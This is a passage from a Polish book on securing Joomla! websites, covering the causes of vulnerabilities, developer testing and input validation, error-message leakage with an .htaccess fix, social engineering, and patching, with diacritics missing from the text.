Q nieregularne instalowanie poprawek i aktualizacji (nie jest to przyczyna problemw,
ale prowadzi do umoliwienia uycia eksploitw),
Q zoliwi hakerzy, ktrzy chc wama si do systemu,
Q ataki w dniu zerowym (polegaj one na wykorzystaniu bdw, ktre nie zostay jeszcze
zidentyfikowane i naprawione).
Jak wida, istnieje wiele przyczyn bdw. W kocu nikt nie jest doskonay. Wiem, e to frazes,
jednak nieustannie trzeba go przypomina.
Programici i producenci mog zapobiec wikszoci usterek. W rozdziale 5. omawiam szczegowo niektre z czsto stosowanych atakw i wyjaniam, dlaczego s moliwe.

Co mona zrobi, aby zapobiec lukom?

Uytkownik kocowy nie naprawi kodu niskiej jakoci, jednak moe przeprowadzi testy. Programista ma wiksze moliwoci i moe wyeliminowa wicej usterek.
Przeledmy kilka strategii, ktre mona zastosowa, aby zagodzi skutki bdw i zabezpieczy
rodowisko pracy. Osobno przedstawiam rozwizania dla programistw i uytkownikw.

100

Rozdzia 4. Luki

Programici
Programista jest odpowiedzialny za pisanie jak najlepszego kodu. Nie oznacza to, e zawsze
musi tworzy idealne rozwizania. Powinien jednak stara si udostpnia produkty wysokiej
jakoci i wykorzystywa wszystkie swe umiejtnoci.
Czasem w wiecie techniki duma bierze gr nad zdrowym rozsdkiem. Jeli zdasz sobie spraw
z tego, e pomyki mog si zdarza, otworzysz si na krytyk ze strony wsppracownikw.
Nie pozwl, aby duma spowodowaa, e udostpnisz kiepski produkt lub nie zapewnisz odpowiedniego wsparcia innym w rodowisku pracy.

Niska jako testw i planw

W czasie projektowania nowego dodatku, programu lub innego skryptu zastanw si, jak naprawd bdzie uywany. W jakim rodowisku bdzie dziaa? Czy oprogramowanie to pakiet do
sprzeday samochodw? Pomyl, jakie inne elementy dealer moe chcie zainstalowa w witrynie.
Jaki jest poziom wiedzy uytkownikw? W jaki sposb klienci bd korzysta z witryny dealera?
Zanim zaczniesz pisa kod, dobrze przemyl, co chcesz osign dziki testom. Zapisz plan testw
i uwzgldnij w nim czsto wystpujce problemy. Jeli firma na przykad chce zamieszcza
w witrynie zdjcia (co sprzedawcy samochodw zwykle robi), to czy ich rozmiar ma znaczenie?
Czy za due rysunki spowoduj bdy? Czy zamiast zdjcia mona wstawi inny element, ktry
spowoduje przepenienie bufora i przejcie kontroli nad witryn przez napastnika? Przemylenie
takich kwestii pomoe Ci przygotowa lepszy kod.
Wskazwka dla uytkownikw
Koniecznie dodaj pomocne komunikaty o bdach w jzyku polskim i powi rozwizanie problemu z systemem pomocy oraz wsparcia technicznego w witrynie.

Tematy do przemyle mona dugo wymienia. W planach i testach uwzgldnij przynajmniej

ponisze zagadnienia:
Q Kim jest klient?
Q Kim s klienci klienta?
Q Jak produkt bdzie uywany?
Q Jakie typy zmiennych i danych wejciowych s dozwolone?
Q Jaki poziom uprawnie jest wymagany do uywania aplikacji?
Q Jakie inne rozszerzenia mog wspdziaa z rozwijanym systemem?

Nie jest to kompletna lista, lecz tylko punkt wyjcia do rozwaa. Napastnik moe wykorzysta
wszystkie wymienione obszary. Kady z nich zwizany jest ze specyficznymi problemami.

101

Joomla! Zabezpieczanie witryn

Na przykad dozwolone typy zmiennych i danych wejciowych wyznaczaj sposb sprawdzania

tablic oraz akceptowane rodzaje zmiennych. W aplikacjach w jzyku PHP zezwalanie na podanie
danych DOWOLNEGO TYPU to zy pomys, ktry ponadto nie poprawia komfortu pracy uytkownikw. W kodzie trzeba przechwytywa dania GET i POST, pliki cookies oraz inne dane,
a nastpnie je sprawdza. W testach naley poda w polu na dane wejciowe (lub w zapytaniu
SQL) znaki specjalne i podobne informacje, aby ustali, czy mona zama zabezpieczenia.
Znaki specjalne, na ktre warto zwrci uwag, to , < i >. Bardzo wane jest wyszukiwanie ich w danych.

Aby zyska lojalnych klientw, naley zapewni im wysoki komfort pracy i bezpieczestwo.
Zastanw si nad polem na dane wejciowe, w ktrym uytkownik strony moe wpisa adres
e-mail.
Moesz uy poniszego prostego fragmentu kodu:
<html>
<head><title>Prosty formularz na adres e-mail</title></head>
<body>
<h2>Podaj adres e-mail</h2><p>
<form action="email.php" method="post">
<table>
<tr><td>Adres e-mail:</td><td><input type="text"
name="Name" /></td></tr>
<tr><td colspan="2" align="center"><input type="submit" /></td></tr>
</table>
</form>
</body>
</html>

Ten kod nie sprawdza poprawnoci adresu e-mail. Nie jest to dobre rozwizanie i z pewnoci nie
zapewnia bezpieczestwa. Nie mona te zagwarantowa, e uytkownik wprowadzi poprawny
adres; z kolei zoliwy napastnik moe wstawi szkodliwy skrypt do witryny i przej nad ni
kontrol.
Jak wykry, czy adres e-mail jest poprawny?
Doskonay przykad kodu do sprawdzania poprawnoci adresw e-mail znajdziesz na stronie:

http://www.addedbytes.com/php/email-address-validation/.

Jeli pobierasz dane wejciowe, koniecznie przeprowad testy! Nastpnie popro o przetestowanie
rozwizania znajomego, zaufanego programist i popro go, aby sprbowa zama system.

102

Rozdzia 4. Luki

Kiedy wystpi bdy (a z pewnoci tak si stanie), dobra procedura ich obsugi zapewni
pynne dziaania witryny. Musisz jednak zachowa ostrono przy udostpnianiu informacji
w komunikatach o bdach.
Zastanw si nad bdem typu odmowa dostpu.

Odmowa dostpu
Wspomniaem ju, e producenci aplikacji czsto udostpniaj zbyt wiele informacji, poniewa
chc, aby komunikaty byy przydatne. Jest to czsto spotykany problem, ktry uatwia zdeterminowanemu napastnikowi uzyskanie informacji o strukturze programu, uytych technologiach itd.
Nastpny przykad ilustruje odrzucone danie pliku. Wszystko przebiega prawidowo, dopki
nie pojawi si komunikat z serwera Apache.
Cho podane informacje mona atwo uzyska take w inny sposb, ten prosty przykad pokazuje,
e w wyniku bdu serwer podaje informacje na swj temat:

Jest to przykad bdnej obsugi bdu 403 (odmowa dostpu). Powoduje to ujawnienie szczegowych informacji o wersji serwera Apache, porcie i strukturze katalogw.
Lepsze rozwizanie polega na uyciu pliku .htaccess do cakowitego zablokowania komunikatw
o bdach.
Zastanw si nad metod opisan na stronie http://perishablepress.com:
# Blokowanie bdw w PHP.
php_flag display_startup_errors off
php_flag display_errors off
php_flag html_errors off
php_value docref_root 0
php_value docref_ext 0

Ta technika zapobiega ujawnianiu informacji napastnikowi, ktry bada witryn. Starannie przeanalizuj aplikacj i sprawd, czy nie generuje komunikatw o bdach, ujawniajcych projekt
tabel SQL lub inne poufne informacje.

Niewaciwe formatowanie zmiennych

i niebezpiecznych danych wejciowych
Wanym i czsto pomijanym aspektem programowania jest formatowanie danych wejciowych.
Jeli program przyjmuje dane od uytkownika, trzeba si upewni, e pobrane informacje maj
waciw posta. Jeeli chcesz otrzyma adres e-mail, musisz sprawdzi, czy dane maj format
takiego adresu, a nie zapytania SQL.

103

Joomla! Zabezpieczanie witryn

Ten czsto wystpujcy problem prowadzi do wikszych kopotw, jeli zostanie wykryty zbyt
pno.
Kilka znanych eksploitw to efekt nieprawidowego sprawdzania wprowadzonych danych. To
zaniedbanie umoliwia ataki przez przepenienie bufora, wstrzyknicie kodu SQL i ataki RFI
(nie jest to kompletna lista).

Brak testw w zrnicowanym rodowisku

Z tym punktem zwizany jest klasyczny problem zasobw i czasu. Programista jest bardzo zajty
i mona oczekiwa, e uytkownik ma wystarczajc wiedz o swym systemie, dlatego nie warto
sprawdza nieznanych konfiguracji, prawda?
Oczywicie wiesz, e jest inaczej. Uytkownicy mog przypadkowo uszkodzi system. Jak mona
przeprowadzi testy w zrnicowanym rodowisku, a jednoczenie wykonywa wszystkie inne
zadania?
Wrmy do planu testw. Ustal, na ktrych platformach program ma dziaa, i przeprowad na
nich testy. W ktrych wersjach systemw Linux i Windows rozszerzenie ma funkcjonowa? Ktre
wersje PHP s w powszechnym uyciu? Obecnie (w czasie powstawania tej ksiki) popularno
jzyka PHP 4.xx zaczyna si zmniejsza, a nowym faworytem uytkownikw s wersje 5.xx. Moesz jednak mie pewno, e przez pewien czas wiele osb nadal bdzie korzysta z wersji 4.xx.
Przetestowanie aplikacji w obu rodowiskach to najbardziej odpowiedzialne i profesjonalne
rozwizanie.

Testowanie w rnych wersjach baz SQL

Testowanie w rnych powszechnie uywanych wersjach bazy MySQL to nastpna technika,
ktra pomaga w tworzeniu aplikacji najwyszej klasy. Obecnie niektre firmy hostingowe
umoliwiaj wybr jzyka PHP 4 lub 5 i jednej z wielu wersji bazy MySQL. Przetestowanie
najpopularniejszych kombinacji pozwala unikn pniejszych problemw, a take pomaga
wyeliminowa rzadkie bdy, ktre sprawiaj, e witryna, Twoja lub klienta, jest podatna na ataki.

Wspdziaanie z rozszerzeniami niezalenych producentw

Testy w tym obszarze s czasem trudne, jednak warto si nad nimi zastanowi. Pomyl, z ktrych
rozszerze Ty sam i uytkownicy bdziecie korzysta w poczeniu z dan aplikacj. Uwzgldnij
dodatki zwizane z Google Adsense i SEO, narzdzia do analizy danych internetowych oraz inne
pomocne rozszerzenia.
Musisz si upewni, e inne rozszerzenia uywane wraz z danym systemem nie nara go na
dziwne problemy.

104

Rozdzia 4. Luki

Uytkownicy kocowi

Jak uytkownik kocowy moe zabezpieczy si przed atakiem? Wspomniaem ju o kilku kwestiach, aby podkreli ich znaczenie. Przyjrzyjmy si teraz innym zagadnieniom.

Socjotechnika
Powszechnie przyjmuje si, e najsabszym ogniwem w acuchu zabezpiecze jest czowiek.
Wynika to z naturalnej skonnoci do wierzenia innym na sowo. Ludzie zwykle ufaj osobom po
drugiej stronie suchawki, ktre prosz o pomoc. Rozmwca zgubi haso, a musi przygotowa
raport, poniewa szef go zabije! Kto nie by kiedy w podobnej sytuacji? Rozmwca wywouje
wspczucie, a drobny akt sympatii do drugiego czowieka naraa wiele osb na atak.
Oszustwa typu phishing to popularna obecnie technika wyudzania pienidzy lub informacji,
a jest to tylko najnowsza ze stosowanych metod nacigania. Wyudzanie jest tak stare jak ludzko.
Socjotechnika nie opiera si na technologii, a mimo to jest skuteczn metod atakowania infrastruktury witryny lub firmy. Jeli napastnik zyska punkt zaczepienia dziki operatorowi, ktry
odbiera telefony, pracownikowi pomocy technicznej, sprzedawcy, a nawet Tobie, moe przej
cenne informacje potrzebne do wamania si do systemu.
Pozyskiwanie informacji odbywa si czasem w bezczelny sposb, kiedy napastnik dzwoni do firmy
i udaje osob z zespou pomocy technicznej, obserwuje budynek lub podsuchuje Twoje rozmowy
telefoniczne w kawiarni.
Dowiadczony socjotechnik nie prbuje od razu uzyska dostpu do systemu. Woli zbiera mae
porcje informacji i stopniowo zblia si do celu (czymkolwiek by on by).
Ludzie zdradzaj informacje cay czas w trakcie rozmw telefonicznych, w e-mailach,
w pogawdkach internetowych, w mieciach, a czasem bezporednio, przez umieszczanie
w e-mailach zastrzeonych danych.
Grzebanie w mieciach to doskonay sposb na zdobycie informacji o celu. Kiedy ludzie wyrzucaj star list cen, zwykle nie uwaaj, e jest to wartociowa zdobycz dla socjotechnika. Zwykle
to nie same ceny s wane, ale informacje, ktre pozwalaj wywoa wraenie, e dana osoba pracuje w firmie. Wiedza, jak mona zdoby przez grzebanie w mieciach, jest zdumiewajca.
Celem stosowania socjotechniki jest uzyskanie nieuprawnionego dostpu do sieci, konta bankowego, budynku, a nawet mieszkania. Poczenie informacji znalezionych w koszu (na przykad
wykresw firmowych, notatek, ksiek telefonicznych itd.) pozwala napastnikowi utworzy
map organizacji. Taka osoba zyskuje tak bogat wiedz, e nikt nie zawaha si pomc wsppracownikowi.

105

Joomla! Zabezpieczanie witryn

Zagldanie przez rami (ang. shoulder surfing) to nastpna bardzo skuteczna metoda. Polega ona
na tym, e napastnik dosownie zaglda Ci przez rami w trakcie wpisywania numeru PIN lub
hasa. Oszust nie musi widzie informacji na ekranie, ani nawet zdoby penych danych. Fragment
hasa czsto wystarczy, aby przeprowadzi atak.
Zepsute dyski twarde te srebrne talerze s prawdziw kopalni zota. Naley je starannie
zniszczy, aby zapewni sobie maksymalne bezpieczestwo. Istnieje kilka firm, ktre Ci w tym
wyrcz (niektre nawet za darmo).
Perswazja oparta na czarujcym i przyjacielskim zachowaniu take pozwala uzyska dobre efekty.
W poczeniu z naciskiem na pilno proby perswazja pozwala otworzy wiele drzwi zwaszcza
u pracownikw pomocy technicznej, ktrzy maj zapewnia wsparcie. Kiedy osoby te chc
potwierdzi tosamo klientw, s czsto przez nich obraane. Takie zachowanie uytkownikw
i nagany dla personelu przestrzegajcego przepisw s niedopuszczalne. Kar powinni otrzyma
pracownicy lub klienci, ktrzy prosz osoby z dziau pomocy technicznej o zamanie regu.
To tylko wierzchoek gry lodowej w obszarze atakw socjotechnicznych. Najlepsza strategia
przeciwdziaania im polega na edukowaniu pracownikw, zatrudnieniu eksperta od zabezpiecze
w celu przeszkolenia personelu i opracowaniu oraz przestrzeganiu takich zasad, jak tworzenie
SILNYCH HASE i zmienianie ich co 30 dni. Naley te przygotowa i wdroy procedury
identyfikowania klientw kontaktujcych si telefonicznie.
Nie zapomnij sw jednego z najwikszych socjotechnikw wszechczasw, Kevina Mitnicka:
Moesz wyda fortun na zakup technologii i usug [], a infrastruktura sieci nadal bdzie podatna
na klasyczn manipulacj.

Nieregularne instalowanie poprawek i aktualizacji

Tak, tak, panie Uytkowniku Kocowy. To Ty odpowiadasz za swoje systemy i witryny. Spoeczno nie zainstaluje poprawek za Ciebie. Pamitaj, e nie powstaj one bez przyczyny. Zamy,
e jest wtorek poprawek i pojawiy si aktualizacje dla systemu XP, a Ty ich nie zainstalowae.
Nastpnego dnia napastnik z powodzeniem zaatakowa Twj komputer. To Ty jeste za to odpowiedzialny.
Wygospodaruj czas na przegld poprawek i aktualizacji zabezpiecze dla witryny, systemu
oraz rozszerze, ktrych uywasz.
Przez regularne instalowanie poprawek moesz zabezpieczy si przed atakami w dniu zerowym,
gotowymi skryptami atakujcymi i innymi technikami, ktrych zdeterminowany haker bdzie
uywa w celu wamania si do Twojego komputera.

106

Rozdzia 4. Luki

Podsumowanie
W tym rozdziale opisaem luki, przyczyny ich powstawania i typowe metody przeciwdziaania atakom. Poniewa istniej cae ksiki powicone tym zagadnieniom, ten rozdzia to tylko punkt
wyjcia do zabezpieczania witryny. Jeli chcesz dowiedzie si czego wicej o bezpieczestwie oprogramowania, zachcam do lektury pozycji The art of Software Security Assessment:
Identifying and Preventing Software Vulnerabilities autorstwa Marka Dowda, Johna McDonalda
i Justin Schuh.
Mora z historii o Maej Czerwonej Kurce jest taki, e jeli wszyscy programici, administratorzy i uytkownicy bd zgodnie wsppracowa, internet stanie si odporniejszy na ataki
i bezpieczniejszy. Spory midzy wymienionymi stronami su tylko interesom kryminalistw
dziaajcych w internecie.

107